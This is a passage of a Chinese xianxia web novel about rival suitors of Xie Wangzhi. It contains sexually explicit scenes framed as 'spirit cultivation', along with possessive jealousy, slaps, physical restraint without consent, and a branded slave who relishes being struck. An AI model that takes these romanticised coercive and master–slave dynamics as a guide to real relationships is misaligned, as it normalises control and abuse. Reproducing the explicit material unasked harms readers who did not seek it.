未想到,裴云峰闻言面色陡沉,嘲讽道:“哦,我说他怎么没有跟着你呢。若不是他有事,你也不会来找我吧?” 明明也没说什么,哪想到又把人气着了。谢妄之不由眉心微蹙,不愿与对方争辩,索性转移话题道:“你不是要做么?还磨蹭什么?” 但裴云峰不肯将他放过,咄咄逼人,意味不明地又冷笑了声道:“呵,你倒是提醒我了,在外面的时候,我还没有反应过来。” “什么?”谢妄之不解追问。 “你为什么,能这么轻易就答应要帮我?” 裴云峰向他转过身,眉心狠折,眼神冷厉,语气近乎质问,“你曾经便说过,你没有那样的想法。不过短短两年,我不相信在这段时间里,我便能让你另眼相待了。难道不论是谁,你都愿意帮吗?” “当然不是。”谢妄之蹙眉,答得毫不犹豫。 但裴云峰还不满意,冷笑着又问:“那如果今天站在这里的人是白青崖呢?他也跟你说,他因为你生了心障,你也会像方才对我一样,去对他吗?你也会……主动去亲他吗?” 谢妄之从来没有想过这个问题,不由被问得一怔,没有立刻回答,却叫人会错意。 只见裴云峰猝然面色发白,抬手捂住自己胸口,五指攥得衣襟发皱,嘴唇也跟着微微颤抖。却紧咬着牙关捺住呻吟,颌角微鼓,只从喉里滚出细微沉闷的一声。 见状,谢妄之不由跟着紧张,低声关切问:“怎么样了?很疼么?” 未想都到这时候了,裴云峰还要跟他赌气,强牵起嘴角,阴阳怪气道:“放心,暂时还死不了,不劳我们谢二公子费心。谢二公子若不是真心想帮,云峰也不敢强求,不过是一条贱命。” “……” 谢妄之眉头蹙得更深,沉默地紧盯着对方看了会儿,接着竟是毫不犹豫转身就走。 “谢、谢妄之!” 裴云峰瞳孔骤缩,颤声唤了一句,未想谢妄之头也不回,胸口一瞬间停止跳动,痛到极致便失去知觉了,面上血色尽褪,只感到难以言喻的恐慌漫上头顶,湿润了眼眶,连忙大步追上去。 谢妄之还未走出几步便被身后人快速追上,一把攥住他手腕,五指收拢,用力得手臂肌肉都在微微颤抖,像是要将他的腕骨捏碎。 “谢妄之,别走……”对方紧抓着他手腕,嗓音沙哑,接着便有些哽咽,鼻音微重,“你不许走,你、你明明说了,你说了要帮我的,不能、不能反悔,你不能走,呜……” 裴云峰说着又哭了,喉里呜咽出声,一句话说得磕磕绊绊,听起来委屈得要命。手上力道却是丝毫没有放松,攥得谢妄之发痛。 这人翻脸倒比翻书还快。谢妄之忍不住轻叹了声,转过头,果然对上一双湿润发红的眼。方才在外头留下的泪痕才干透,转眼又添了新的,纵横交错。 “谢妄之,对不起……”裴云峰怕他再走,丝毫不敢放松力道,泪眼朦胧地看他,哽咽着继续开口,“我不问了,我再也不问了,你不要走好不好……” 谢妄之站着没动,也没急着应,慢条斯理问:“那你还要不要退学了?” “不要不要!不退了。” 裴云峰连忙摇头,生怕谢妄之不满意、不相信,一阵华光闪过,方才被收入虚纳戒的行李一件件被他丢出来,很快在他们身周围了一圈。 他自小是天之骄子,养尊处优,吃穿用度都要是最好最贵的,被丢出来的东西各个价值不菲,却像是废弃的杂物一样随便堆着。 见身边快要没有落脚的地方,谢妄之连忙制止,“好了,停!” 对方乖巧地依言停下,仍紧紧攥着他手腕,委委屈屈求他道:“谢妄之,你不要走好不好?” “……你东西太多了,我想走也走不了。”根本就没有下脚的地儿。谢妄之有些无奈。 裴云峰面色微红,薄唇轻抿。 谢妄之问:“你的心障方才是发作了?很频繁么?” “嗯……”裴云峰微低下头,长睫垂落,伸手扶着自己胸口,“对不起,我控制不住。我一想到你也会轻易答应别人做这种事,我这里就好疼,我受不了……” “……不会轻易答应别人。”谢妄之沉默了会儿,“因为是你,我才会答应。” “什、什么?”裴云峰神色一怔,猛地抬头看来,瞳孔剧烈颤动,舌头打结,脸颊升温,“谢、谢妄之,你、你在说什么?是我想的那样吗?” 谢妄之认真思考了会儿,而后诚实地摇头。 “……抱歉,是我自作多情了。”裴云峰面色一白,苦笑着又低下头。 却听谢妄之道:“不是。我没有想那么多,我只是想帮你,我也没想到能这么帮你。虽然不是你希望的那样,但是我不讨厌你,也不讨厌和你做那种事……如果一定要做的话。” “……” 裴云峰呼吸微滞,视野又变得模糊,分明得到了一个还算不错的回答,却还是想哭。 其实他是高兴的,可旋即又克制不住地想,谢妄之是不是也不讨厌白青崖?又或者是别的什么人。毕竟只要“不讨厌”而已,谢妄之就会答应。但他已经不敢再问。 明明这样就可以了,可他却贪婪地觉得不够。他想要更多更多,想要和以前一样,是“谢妄之的唯一”,他想要的不仅是“不讨厌”。 他庆幸谢妄之会答应,却又不满谢妄之会答应。 尽管如此,他默了会儿还是忍不住抬眼觑着对方面色,嗫嚅地低声问:“那,那我们,可以继续吗?” 谢妄之不由哼笑了声,没再说什么刺激对方,只道:“去榻上?” 裴云峰轻轻点头应了声“嗯”,可直到他坐在榻上时,浑身都僵硬了,局促得手脚都不知道怎么放,眼睛也不敢看谢妄之,只是深埋着头。艳丽霞色漫上脸颊与耳廓,甚至雪白脖颈都通红。 相比之下,谢妄之倒是镇定得多。他向来随心所欲,决定了的事就要去做,思忖了会儿便道:“要不试试灵修?” “……嗯。”裴云峰浑身更僵,随即轻轻点头,手指攥紧了衣袖。 “自己脱,还是我帮你脱?”谢妄之抱臂站在榻边垂头看着对方,只觉好笑。 “不!我、我自己来……” 裴云峰猛地摇头,默了会儿才开始动作。颤抖着指尖除去大袖,又去解对襟衣衫的盘扣。 只是这扣子怎么忽然变得好紧,没有一点余裕,怎么都解不开,急得他快哭,感觉到头顶谢妄之的视线,更觉羞赧尴尬,指尖动作也更笨拙,最后气恼地掐了术法脱。 谢妄之忍俊不禁,煽风点火道:“这么会脱?那也帮我脱一下?” 说着他便往前微微俯身,双手撑在对方身侧,还贴心地仰起头。他也穿了件对襟,要解扣子。 “谢、谢妄之!”裴云峰却被吓得上身后仰,不住往床榻里面缩,同时伸手挡住自己的脸,偏头不敢看他。 谢妄之低头看他,忍不住又笑,压低嗓音调侃道:“你不是说了想脱我的衣裳么?” “我、我没……”裴云峰咬着嘴唇,双眸微微湿润,羞得要哭了,“谢妄之,你别取笑我了……” “哦,原来没有想脱我的衣裳啊。” 谢妄之却不依不饶,努力憋着笑,故意提膝上榻,一寸寸逼近,“那也不想跟我更进一步,也不想弄到我忍不住哭?嗯?” 大概是谢妄之取笑得太过,表现得太过游刃有余,裴云峰恼羞成怒,竟有些回过味来。他忽然问:“谢妄之,难道你不会紧张么?” “嗯?”谢妄之轻轻挑眉,如实回答,“有一点吧,还好。” 他不知道裴云峰为什么要问这个,说完还没来得及继续逗弄,却见裴云峰转脸看他,面色微沉,眼神幽暗: “为什么?难道你已经和别人做过了么?” 第25章 只要能让谢妄之“不讨厌…… 谢妄之还未答话,手腕忽然被人攥住猛地往前一拉,腰肢也被搂住,紧接着视野天旋地转,他竟仰面躺倒在被褥之中,被裴云峰压在身下。 床褥柔软而厚实,他感觉自己整个人像是陷进一团云里,清雅恬淡的香气一瞬间将他包裹,惬意得令人骨头酥软,忍不住发出喟叹。 而裴云峰撑在他上方,身影遮天蔽日般,竟令四周光线都黯淡。几缕墨发垂坠到他身上,传来细微的酥痒。 他抬起头,正对上一双湿润的眼。明明他还什么都没说,不知裴云峰自己又胡思乱想了些什么,眸中又开始蓄泪,却强硬攥着他的手和腰,力道大得能掐出印。 “没有别人。”谢妄之有些无奈,忍不住挣了一下,却被人攥得更紧。 裴云峰不相信谢妄之,紧抿着唇,顶着一双泪眼,视线审视一般在人身上逡巡。 可是他自己也没有经验,哪看得出什么东西,过了会儿便又抬眸看向谢妄之,委委屈屈地控诉求证: “真的没有别人么?明明有那么多人喜欢你,光是我见过的,当面递你一封书信的都有好几个了,而且你还都收下了!!” 裴云峰说着面色又沉下来,声音压低,近乎咬牙切齿:“你若是不喜欢他们,为什么还要收下!你知不知道这样会让别人——” 他愈加恼火,忍不住深吸了口气平复,可下句说出口还是充满愤懑怨怼,“还有那个白青崖!你以为他对你存的是什么心思,你还和他那样亲近!难道你一点都感觉不到么?还有,还有我呢,难道你一点都不——” 他不停数落着谢妄之,越说越生气也越委屈,垂眼却见对方神色淡漠无波,好像并不将他说的那些当回事,不由微微一怔,旋即感到胸口又开始抽搐,痛苦得令他窒息。 倒是他忘了,谢妄之是何等聪慧的人。哪有谢妄之知不知晓,只有他想不想,在不在意,喜不喜欢,还有当时心情如何。 若是愿意,谢妄之可以主动亲吻他,就算像现在这样被他压制着也不反抗。若是将谢妄之惹恼,分明前一刻还答应同他进屋,下一刻就能毫不留恋转身就走。 为何他追随着谢妄之的时候,对方从不像现在这样对他?除去最开始他们还未相交时是谢妄之主动,后来的几次谢妄之主动过来找他,包括现在,哪次不是因为他“疏远”了对方。 他好像知道了该怎么样才能让谢妄之为他停驻,可是他根本不敢赌。 如谢妄之这样随心所欲的人,裴云峰根本不敢想若是自己离开,对方愿意为他停留多久,又会有多少本就虎视眈眈的人趁虚而入。 毕竟只要能让谢妄之“不讨厌”,就不会被拒绝。 他被困在名为谢妄之的牢笼里,以为自己得到了解开它的钥匙。 事实却是,他只会自己把钥匙吞下去。甚至他还要疯狂隐瞒掩藏自己曾经得到过钥匙,以免被认为不忠,从而被释放。 “呜……” 裴云峰又忍不住哭,紧咬着唇,声音却憋不住从喉咙里泄出来。 却一边哭,一边抓着谢妄之的两只手都禁锢在对方头顶,俯身咬住那张多情得近似无情、冰冷凉薄的唇。 他心里生气,便忍不住用了些力,却又在把人咬疼之前克制地放轻,讨好地伸舌舔舐被他咬出的凹陷。 大概是其他情绪太多抵过了羞赧,他没再那么紧张,便只遵从渴望,学着谢妄之先前对他做的,用舌撬开对方唇齿,与人勾缠。 对方没有拒绝,他不由渐渐贪婪,不断往深处探索,甚至把对方掳到自己的地盘,霸道地强占着那片湿软。 仿佛吃进一块口感软滑的糕点蜜饯,因滋味太美而舍不得咽下,便不断吞进吐出,反复品尝吸吮。 他太投入,身体热烫,浑身都发汗,浑然不觉一股微微的寒凉灵力顺着相贴处慢慢渡进他的经脉,与自身的灵力流混合,向丹田灵府汇聚。 再直起身时,他几乎喘不上气,不得不张着嘴呼吸,可看见那条才被他释放的殷红一闪而逝,又忍不住凑上去。 谢妄之却偏过头,令他的唇印在对方脸侧,低声道:“等等。” “怎么了?不喜欢么?”才松懈不到片刻的裴云峰一瞬间又紧张起来,攥着对方双腕的手不自觉加重了些力,微微扁着嘴唇,无赖地撒娇,“你都答应我了,不能反悔,不喜欢也不许走!” “不是。”谢妄之笑了一下,随即轻轻提膝,意有所指,“你起来一些,有点硌。” “……” 裴云峰只觉双颊一瞬热烫,猛地埋头躲入谢妄之的颈窝里,羞恼道:“这、这我怎么控制得住!” 虽是如此,他还是微微弓起腰背,顿了一下,用脸颊贴着谢妄之的脖颈,撒娇一般来回轻蹭,小声道:“谢妄之,我能碰你的么?” 谢妄之哼笑了声,不置可否:“那你敢脱么?” “……”裴云峰不说话了,咬着唇更深地埋下头。 谢妄之忍俊不禁,“你以为灵修要怎么做?” “啊,你、你方才!”闻言,裴云峰微微睁大眼,猛地抬起头看谢妄之,有些羞恼,“……我忘了。” 他全然忘记灵修过程要向对方渡灵力这回事,只是本能地追逐和感受,听对方提起才反应过来,亲吻途中他感受到一股灵力渡进他的身体。 他那样投入,而谢妄之却好像置身事外,从头到尾镇定自若,有条不紊,只有他一人沉迷其中,不可自拔。 裴云峰不由有些委屈,长睫垂落,微微抿了一下唇:“谢妄之,你不觉得舒服么?你好像没有……”他说着视线下移。 “还好。”谢妄之只觉得好笑,大大方方任由对方打量,“可能是你太敏感了。” 未想到,裴云峰忽然将他松开,坐起身,犹豫了一会儿,伸手向他腰间,手指轻拈住了衣带,一点点往外扯开。 指尖却抖得不像话,颜色润红,眼睛只敢盯着别处看,声音都发颤:“谢、谢妄之,我也想让你、让你……” “让我什么?” 谢妄之闻言眉峰一挑,有些意外,又觉好笑,便用手肘撑起上身,跟着坐起,盯着对方看,眼眸微微眯起。并未阻止,直到感觉肌肤接触微凉空气。 但之后再没下文。他不由抬眼看向裴云峰的脸。 只见对方双目微微睁大,脸颊与耳廓红得滴血,浑身冻结般僵住,呼吸凝滞一瞬后陡然变得粗重,喉头不住上下轻滚,呼吸声与吞咽声在一片寂静中显得尤为明显。 被人这么盯着,饶是谢妄之也有些受不住,眼睁睁看着自己的变化,只觉脸上微热,不由恼了,抬腿不轻不重踹了对方一脚,道:“一直盯着干什么?” “我、我不是,我没……” 裴云峰如梦初醒,肉眼可见地整个人微微弹起,随后赶忙移开眼,却是慌不择路地与他撞上目光,又狼狈地撇开头,双颊愈发红润,头顶上都要飘出一缕白烟。 “呵,碰都不敢,还说要让我舒服?”见状,谢妄之忍俊不禁,不由调侃了一句,说着便要将衣物重新穿好。 其实灵修倒也不是一定要做到这种程度,有一定的接触面积就行,只是接触面越多、效果越好。最初他也只是看裴云峰的反应觉得好玩,逗弄一下罢了。依照他们两人这么多年的交情与关系,看就看了,又不是相互没见过,也不会掉块肉。 未想到,下裤才拉上一半,手腕忽被对方伸手攥住制止。只见裴云峰沉默了会儿又转头看过来,吞咽了口唾沫,低哑着嗓音嗫嚅道:“等、等会儿,我、我想帮你……” “嗯?” 谢妄之眉峰一挑,还未反应,却见下一刻,对方当即向他伸出手,直到将他覆住,掌心细腻滚热,指尖却抖得不像话。 “不是,裴云峰,你不用这样……”风水轮流转,这下轮到谢妄之有些慌乱了,眼睁睁看着对方开始动作,不由睁大了眼,下意识要把人推开,“我就只是开个玩笑。” 对方手掌宽大,手指纤长,因常年习武,虎口、掌根与指腹还覆有一层薄茧,触感微微粗砺,竟叫人抵受不住,难言的酥痒像是虫蚁不断爬动啃噬,从腰眼处向浑身蔓延。 他并不重欲,平日缺乏操练,此时竟忍受不住,身体竟因莫名的痒而有些脱力,要将人推开的手也只是虚虚按在对方胸口,甚至指尖不由轻轻蜷起,攥住了对方的衣襟。 “谢妄之……” 裴云峰跪在他双膝之间,同时抬起眼看他,不肯放过他丝毫的反应。明明是在服侍谢妄之,却兴奋得满脸通红,呼吸灼热粗重,像是能喷出火星。一边低声唤着他的名字,一边挺起上身凑近过来,向他索吻。 “你……” 谢妄之微垂下头,大口喘着气,抬眼正撞上对方炽热幽暗的眼神,仿佛燃着一片燎原的黑色火焰,要将他烧尽。 他不由心头一颤,而后猛地扬手扇了对方一巴掌! 第26章 “我好想你。” 裴云峰被打得偏过头,润红脸颊浮起更艳丽鲜明的掌印,又转过脸来。 他眸中的兴奋还未褪尽,但看上去稍微冷静了些,温顺垂下长睫,小心翼翼开口:“怎么了?是我弄疼你了么?对不起!你别生气,我会学着做得更好的……”说着他果然变得轻柔。 对方重新变得温驯,谢妄之顿了顿,回忆起方才那种侵略性十足的眼神,心里仍有些不舒服,不由蹙眉道:“你以后别用刚刚那种眼神看我。” “对不起,我不会了。”裴云峰虽有些不解,但还是乖乖摇头道歉,说着又倾身凑上来,委屈地扁嘴,“谢妄之,我不能亲你了么?我会闭上眼睛的。” 见对方像是一条讨食的小狗,巴巴望着他,眼神湿漉漉,谢妄之不由嗤笑了声,冲人轻轻勾了勾手,“过来。” 下一刻,裴云峰猛地凑近吻住他,又微微退开些,亲昵地用鼻尖蹭他的脸,“谢妄之,我想和你一起,好不好?” 谢妄之没什么所谓,应了声“嗯”,又补了句:“自己弄。记得渡灵力。” “好。”裴云峰乖顺应了,身体更凑近些,又侧头吻他,与他贴在一处厮磨。 像是怕他垂头看到自己,又将他压进床褥。双目紧闭,眼睫微颤,虽遮去了谢妄之不喜欢的侵略眼神,动作却狂热肆意,炽热粗重的鼻息喷在脸上,像燃了片火。 雷霆之力顺着相贴处渡入经脉,混入周身运转的灵力流,向丹田灵府汇聚,像是触电一般,蔓开微微的刺痒,浑身都酥麻。 谢妄之睁着眼,视线越过裴云峰落在他身后的半空,只觉视野微微朦胧,不停晃动。 床顶整齐束起的幔帐也缓缓松散飘落,垂在身侧,如一片晃动的水面,荡漾着淡金的波光。 * 灵修当真对裴云峰的心障起作用,停滞许久的境界竟一瞬突破。 后来他便食髓知味,总爱缠着谢妄之,又为哄人高兴,热衷于侍奉。 而谢妄之向来随心所欲,对做这种事本也无所谓,只要舒服就会答应,甚至莫名养成了些奇怪的癖好和习惯。 后山的树林便是他们常去的地方。 看着裴云峰又重新回到谢妄之身边,甚至私底下比从前更亲密,白青崖面上对此没有什么表示,实际暗潮涌动,私底下与裴云峰交锋过好几回合。 同年,从白家离开后,谢妄之救下了池无月,将他养在身边。 * 回忆到此处时,裴云峰和谢妄之正走在那片常去的树林里。 两人并肩走了许久,因着都不是话多的性子,一路总是沉默。 但他们虽没说几句话,气氛却并不尴尬,好像只要是在一起度过,无论做没做什么,每一寸光阴都不算是浪费,都值得珍惜回味。 此时天色昏暗,圆月挂上树梢,泠泠清辉在溪涧中流淌。周遭万籁俱寂,耳畔唯余流水淙淙。 是很适合做些什么的环境。 而且他们曾经也在这里做过好几次。 “谢妄之。” 裴云峰“触景生情”,感受着手里牵着的温度,喉头轻滚了滚,忍不住拉着谢妄之站住脚,耳廓微红,嗓音低哑道:“我想要。” “怎么?又胸口疼了?” 谢妄之正看着溪边,方才那里有一抹黑影闪过。闻言眉峰一挑,顺口调侃了句,但还是侧头瞥了眼对方确认。 虽然有点心虚,但裴云峰还是伸手轻按在自己胸口装了下样子,拧眉轻轻点了点头,“嗯,是有点疼。” “呵。难道昨晚还不够么?”谢妄之哪会看不出来裴云峰在装,不由嗤笑了声,“你不去修合欢道,真是屈才了。” “谢妄之,想要……好不好?” 裴云峰却不理会他的嘲讽,轻瞥了眼溪边又看向谢妄之,向他撒娇,轻晃了晃他的手臂,故意软着嗓音,话末微微拖长声调,似粘稠的、能拉出丝线的蜜。 从前的裴云峰好像也没有现在这样难缠,谢妄之被磨得没办法,左右没有要紧事,也觉得没什么所谓,便轻应了声“嗯”。 下一瞬,他便被人抱着腰、仔细护住后脑往后推,直到脊背抵上粗壮的树干。紧接着,身前压下一片阴影,柔软干燥的唇印了上来。 像是昨夜的热又烧到了现在,对方动作急切,一面吻他,一面伸手探入他衣襟。未等多久便在他身前跪下,往前凑近。 “谢妄之,你抓着我的头发。” 谢妄之低垂下头,还未动作,紧接着又被人牵着手腕放到对方头顶,强迫他按住,还要把手指嵌入发间。他虽然有些不明所以,但也没有阻止,依言照做。 直到传来湿热酥痒,林子里响起粘稠的水声,谢妄之不由微闭双眼,粗喘着气,如对方所愿地蜷起手指,无意识地攥紧了裴云峰的头发。 忽然间,不远处的溪水里传来水面被轻轻踩踏的异响,清脆的一声“噼啪”在静谧环境中显得尤为入耳。 “停下。” 谢妄之顿时警觉,猛地睁眼,本来微微涣散的眸光一瞬凛冽,随即毫不留恋地攥着裴云峰的头发就要把人扯开。 未想到,裴云峰竟在此时不依不饶,头皮被他扯得发痛都不肯退开,甚至更进一步。 “唔……” 谢妄之猝不及防,腰眼猛然发酸发软,双腿一瞬间脱力,有些站不稳,不由得微微后仰头颅,靠着身后树干支撑,大口喘着粗气。 等他缓过劲,再低下头时,正对上一双幽幽发着绿光的兽瞳。 只见一匹毛发乌黑亮丽、体型庞大的狼在他们身前不远处驻足,头顶一轮皓月,月色如水般在它身上流淌。四肢矫健、肌肉发达,浓密蓬松的毛发无风自动,看上去威风凛凛,不容侵犯。 它身上缠绕着浓郁的妖气,化作冲天升起的黑雾,如山一般庞大,足以遮天蔽日。 像是发现了猎物,它摆出狩猎的姿态,脊背弓起、身体压低,咧嘴露出森白的牙齿,鼻头皱起,十足的凶恶模样,仿佛下一瞬就要扑咬上来,令人胆战心惊。 谢妄之神色一怔,很快认出这匹狼的身份,又抓着裴云峰的头发,蹙眉低声道:“裴云峰。” 这会儿的裴云峰倒是很干脆地起身退开,却不急着回头,仔仔细细将谢妄之的衣襟整理好,动作慢条斯理,末了还在他唇上又吻了一下。 身后那匹狼喉里立时滚出沉闷的嘶吼,鼻腔喷出粗重的喘息,恨得牙痒痒,传来利齿摩擦的尖锐声响。身上冲天而起的妖气愈加浓郁,如有实质。 而裴云峰这才回过身,似是毫不意外,也无所畏惧,神色没有波澜,当着那匹狼的面抬手仔细整理自己被谢妄之抓乱的头发与衣襟,不疾不徐。甚至故意炫耀什么似的,一个头发束了两三遍。 “……”总算知道对方刚才在干什么的谢妄之有些无奈。 等到裴云峰又恢复成原先的矜贵公子模样,这才状似惊讶地挑起眉峰,惊呼道:“这里怎么会有一只犬妖?难道白家的伏妖阵法这么没用么?” 黑狼身上的妖气一瞬间如潮水涌动,它身子伏得更低,猛然轻盈跃起,以迅雷不及掩耳之势,向裴云峰扑咬过来! “呵。” 身后还站着谢妄之,裴云峰并不躲避,冷笑了声,一瞬召剑握在手中,电光火石间以剑锋拦住黑狼的利齿,二者相接迸出刺目火光。 一击不成,黑狼敏捷后撤,身形像是溶入黑色的妖气之中,在黑暗中如鬼魅一般时隐时现,又在令人意想不到的时刻与位置扑咬上来! 而裴云峰丝毫不惧,与黑狼打得有来有回,却默契地将战场往边上拉。 “住手。” 谢妄之蹙眉看着,有些担心这样的打斗会惹来别人注意,到时不好收场。 但情敌见面分外眼红,裴云峰还那样挑衅,一人一狼几乎杀红了眼,全然将他的话当做耳旁风。 谢妄之眉头蹙得更深,正欲插手战局,身后忽吹来一股冰凉而诡异的风,竟令他的身体冻结般僵住,丝毫动弹不得。 与此同时,他的耳廓也似是被什么东西舔舐而过,传来一股微微的湿润冰凉感。甚至沿着他的耳廓逐渐往下,舔到他的脖颈,湿润感更重。 这样的感觉似曾相识,令他一瞬间想起了某个人。 “谢妄之……” 果不其然,耳畔又轻轻吹过一股冰凉的潮气,声音柔软悦耳,明明近在咫尺,却又像是从遥远的天边或是幽静的山谷中传来,有点奇怪的回音,诡异得叫人毛骨悚然,脊背都湿润。 紧接着,似乎有两只手臂紧圈上谢妄之的腰,用力收紧,紧到他感觉自己的胸腹被狠狠勒住,传来鲜明的束缚感,仿佛体内的器官也被压迫,快要变形,令他有些反胃。 与此同时,他的颈侧也贴上一片细腻柔软,像是有人将脸颊埋进他的颈窝,撒娇一般亲昵地来回蹭着他的肌肤,轻轻道: “谢妄之,好久不见,我好想你……” 第27章 “你这张脸让我恶心。”…… “你是池越?” 现在的情况与之前在灵芜谷秘境里遇到的一样,谢妄之很轻易认出对方的身份。 “你这次终于认出我了,我好高兴。”耳廓又吹来一股阴凉的风。 对方好像确实高兴,语气雀跃柔软,随即他的脖颈又传来冰凉的湿润感,“这是不是说明你也在想我?” “滚。” 大概又被舔了脖子,湿漉漉的冰凉感令人浑身难受。谢妄之嫌恶地蹙眉,四肢拼命挣扎却无果,不由咬牙切齿,“放开我!” “不要。”对方干脆利落地拒绝,好像生了气,说着在他耳垂上咬了一口,传来一瞬刺痛。 谢妄之面色更沉,不由深吸了口气平复,转移话题道:“你是怎么过来的,过来干什么?司尘有和你一起么?” 但对方忽略了他的问题,只是委屈地控诉道:“我若是不过来,怎么知道你故意丢下我,就是为了和别人偷/情?” “……闭嘴!” 对方语出惊人,谢妄之顿时回想起和裴云峰从静室出来遇见白青崖,以及方才发生的事,不由有些脸热,继而恼羞成怒,斥道:“你胡说八道什么!” “难道不是么?”对方不依不饶,语气又生气又委屈,“你明明已经有我了!” 在他们纠缠时,另一边杀红眼的一人一狼也发现了不对劲,又向谢妄之这边靠过来。 黑狼瞬间就变回了人形,雪衣墨发,气质清冷,双眸仍发着绿光,看过来的眼神也如狼一般凶恶冷厉。正是白青崖。 而裴云峰见状毫不意外,只是冷笑了声,揶揄道:“我说怎么谢妄之随便喂点东西,你就一直巴巴跟着呢,原来白二公子还真是条狗啊。” 他咬字清晰,轻重音明显,意有所指。白青崖冷剜了他一眼,并不理会,只看向谢妄之那处。 在旁人眼中,谢妄之被一大片浓郁的、几乎化作实质的黑气笼罩,一道虚无缥缈、若隐若现的颀长白影贴在他身后,伸臂将他紧紧拥住。 一张苍白似鬼、唯有嘴唇点了朱红的脸靠在他颈窝里,两只眼眶里漆黑一片,不见眼白,细密如蛛丝的黑线从眼眶向整张脸蔓延,还微微勾着嘴角。模样分明诡异可怖,偏生五官昳丽绝尘,倒显得妖冶。 一看就是邪得不能再邪的东西。 而谢妄之却站在原地,毫不反抗任由对方抱着。 裴云峰曾见过这副模样的池无月,第一次遇见时,对方给他的感觉就很奇怪也很复杂,或者说复杂得奇怪,但嫌恶与嫉妒最多。 见状,他面色陡沉,当即提剑向对方行去,冷声斥道:“放开他!” “哼。”池越无动于衷,鼻腔里轻轻溢出声冷哼,挑衅地勾唇一笑,又亲昵地蹭了蹭谢妄之的侧脸与脖颈,“谢妄之愿意让我抱,我为什么要放开?” 裴云峰看不出池越的底细,而且对方正抱着谢妄之,为了避免误伤,他不能轻举妄动,一时半会儿竟只能眼睁睁看着,不由恼火地转头问白青崖道:“你家的破阵法到底有用没用?” 问出口后,他旋即意识到白青崖也是只妖,并且也好端端站在这,便又转回去,愈加嫌弃,“真是废物。” 白青崖没有理会他,冷着脸不说话。 白家的伏妖阵法自然是有用的,会失效,无非是因为妖邪太强,或是如他一般携带了白家为他特制的屏蔽法宝。 很显然,那东西属于前者。 他先前也见过谢妄之的奴隶,但之前对方身上的妖气远不如现下浓郁。看来他还小看了这个奴隶。 “池越,放手。别让我说第三次。” 谢妄之讨厌这种被人强迫、丧失高位的感觉,尤其还以现在这副姿态被人盯着,不由更加恼火,面沉如水。语气虽没有波澜,却似山雨欲来。 强大到令人无法奈何的妖邪,一听谢妄之语气不对,慌忙松开手,连撤了好几步。 过会儿又绕到他身前,乖顺低下头,小心翼翼伸手揪住他的一小片衣袖轻晃了晃,软下嗓音讨好道:“谢妄之,我错了,你别生气。” 被松开之后,谢妄之又能动了,闻言毫不犹豫扬手扇了池越一巴掌,清晰的脆响在密林中回荡。 对方被打得偏过头,转过脸看他一眼又飞速低下去,当即跪在地上,深埋着头。像是害怕极了,纤细身体不住轻轻发抖。 谢妄之居高临下,微微倾身,手指掐着对方的下颌用力一抬,迫使人昂起头与他对视,眼眸微眯:“我准你碰我了么?” 只见池越脸上爬满的黑线不知何时缩回了眼眶,双颊与耳廓染上艳丽薄红,漆黑双眸闪动着晶莹水色,看上去分外惹人怜惜。 但谢妄之当真动怒,毫不怜香惜玉,只想将新仇旧恨一并清算,又高扬起手。 这一巴掌还未落下去,他却清晰看见池越微微睁大了眼,脸颊愈发红润,呼吸声凝滞一瞬又陡然变得粗重。 这哪里是害怕的表现。 这分明是期待! 谢妄之一怔,回忆起之前扇池越巴掌,却被人攥着手腕亲吻掌心的时候,不由气笑了。 他放下手,连带把人甩开,随即取出巾帕仔细擦手,一面冷笑着道:“我倒是忘了,你喜欢这个,差点就变成奖励你了。” 而池越被他一推,便状似柔弱地往后跌坐,双手撑着地面,仍仰着脸一眨不眨地看他,嘴唇轻轻抿了起来,有些委屈无措的模样,又低声喊他:“谢妄之……” “别喊我。”谢妄之猛然打断对方,咬牙切齿,“你这张脸让我恶心。” 另两人沉默看着,本来还有些嫉妒池越,此时听谢妄之说“恶心”,心里忽然生出类似同病相怜的酸涩。 而谢妄之不管他们怎么想,擦完便随手将巾帕往池越身上一掷,抱起双臂,居高临下地冷漠道:“有事说事,没事快滚。” 见谢妄之当真不耐烦了,池越不敢再惹他,忙端正跪好,低下头恭敬道:“公子上月差人做的物件已经做好,送到扶摇信局了。” “两件都做好了?速度倒是挺快,就是不知成品如何。”谢妄之轻轻挑眉,随即又沉下脸,“那你替我取了便是,来找我做什么?” 言下之意是不想见到池越。 池越不由攥紧了手指,更深地埋下头,面上却若无其事续道:“是,奴本要替公子取了,但信局的人说此物贵重,奴身份低微,他们信不过,不肯交予奴,要公子亲自走一趟。” “怎么这里的信局这么麻烦,别处都不用。”谢妄之微微蹙眉,“难道他们瞎了眼,看不见你脸上的奴印么?” 各地都有信局,但由不同世家管理,各有各的规矩,导致不同地区的信局相互独立,信息并不流通,取件送件各有各的麻烦。 只要是谢妄之亲自刻下的奴印,便带有他的气息。而有奴印的奴隶不可能违抗主人,是可以信赖的,扶摇信局要谢妄之亲自跑一趟纯属多此一举。 “奴也不知。”池越轻轻摇头,说完忍不住悄悄伸手摸了摸脖颈至脸颊的梅花,来回细细摩挲,爱不释手。谢妄之画得很漂亮,他一直很喜欢。 “谢妄之,你差人做了什么东西?”裴云峰听了半晌,有些好奇,忍不住插话。 “剑鞘和……”谢妄之顿了顿,半途改口,“没什么。” “那我明日和你一起去取吧。”谢妄之显然是在回避,裴云峰敏锐地察觉到异常,不由眸色微沉。 谢妄之没应,忽然想到什么,看向白青崖道:“扶摇的信局不是你们白家管的么?这规矩谁定的?” 白青崖微微抿唇,却是不答,默了会儿又道:“你若是不愿去,我便帮你去取。” 自白日到现在,这还是白青崖对谢妄之说的第一句话。 谢妄之不由轻轻挑眉,调侃道:“怎么,不是不理我么?怎么又要上赶着替我跑腿?” “……”白青崖没应,撇过头看向别处,隐在发间的耳廓微微发红。 “用不着你,我自己去。”谢妄之嗤笑了声,转身往回走。 “谢妄之,你要回去了么?”裴云峰忙大步追上去。 “嗯。” 白青崖也沉默地跟上。 而池越留在原地,将谢妄之方才扔掉的巾帕捡起,在手上摊开展平,随后将脸埋进去,深深地吸了一口。 冷淡清幽的木香一瞬充斥鼻腔,他像是饮了酒,陶醉地眯起眼睛,脸颊与耳廓都发红。 吸了半晌,另三人已经快走远,他才将巾帕小心对折收进怀中,抬步跟了上去。 本来约好与裴云峰一道闲逛散心的,半途被另外两人打搅,尤其是池越,谢妄之已经没了兴致,甚至心情很糟糕。 没想到那三人一路跟在他身后,直到他回了住处。谢妄之不由沉下脸:“还跟着呢?怎么不跟到我榻上?” 说罢将屋门用力一阖,发出震天响。 另两人悻悻离开,而池越溜进院子,睡在谢妄之的隔壁。 这么一点距离,他能很清晰地听见谢妄之屋里传来的动静,仿佛就在耳边。直到对方呼吸渐渐均匀,似是睡着了。 